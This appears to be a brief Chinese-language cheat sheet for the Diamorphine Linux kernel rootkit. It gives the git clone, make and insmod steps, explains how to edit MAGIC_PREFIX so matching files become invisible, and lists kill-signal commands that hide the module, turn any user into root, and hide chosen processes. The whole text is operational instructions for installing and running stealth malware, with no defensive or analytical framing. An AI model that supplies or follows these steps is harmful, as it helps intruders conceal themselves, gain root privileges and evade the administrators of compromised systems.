LKM Rootkit
https://github.com/m0nad/Diamorphine,支持内核2.6.x/3.x/4.x
编译安装:
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
insmod diamorphine.ko
在diamorphine.h
里面定义了MAGIC_PREFIX
, 可以自己修改为任意其他东西,比如xx
,然后以xx为开头的文件就回全部隐身啦
kill -63 0 隐藏(显示) rootkit模块
rmmod diamorphine 删除rootkit
kill -64 0 从任意用户切换到root用户
kill -31 <pid> 隐藏<pid>的进程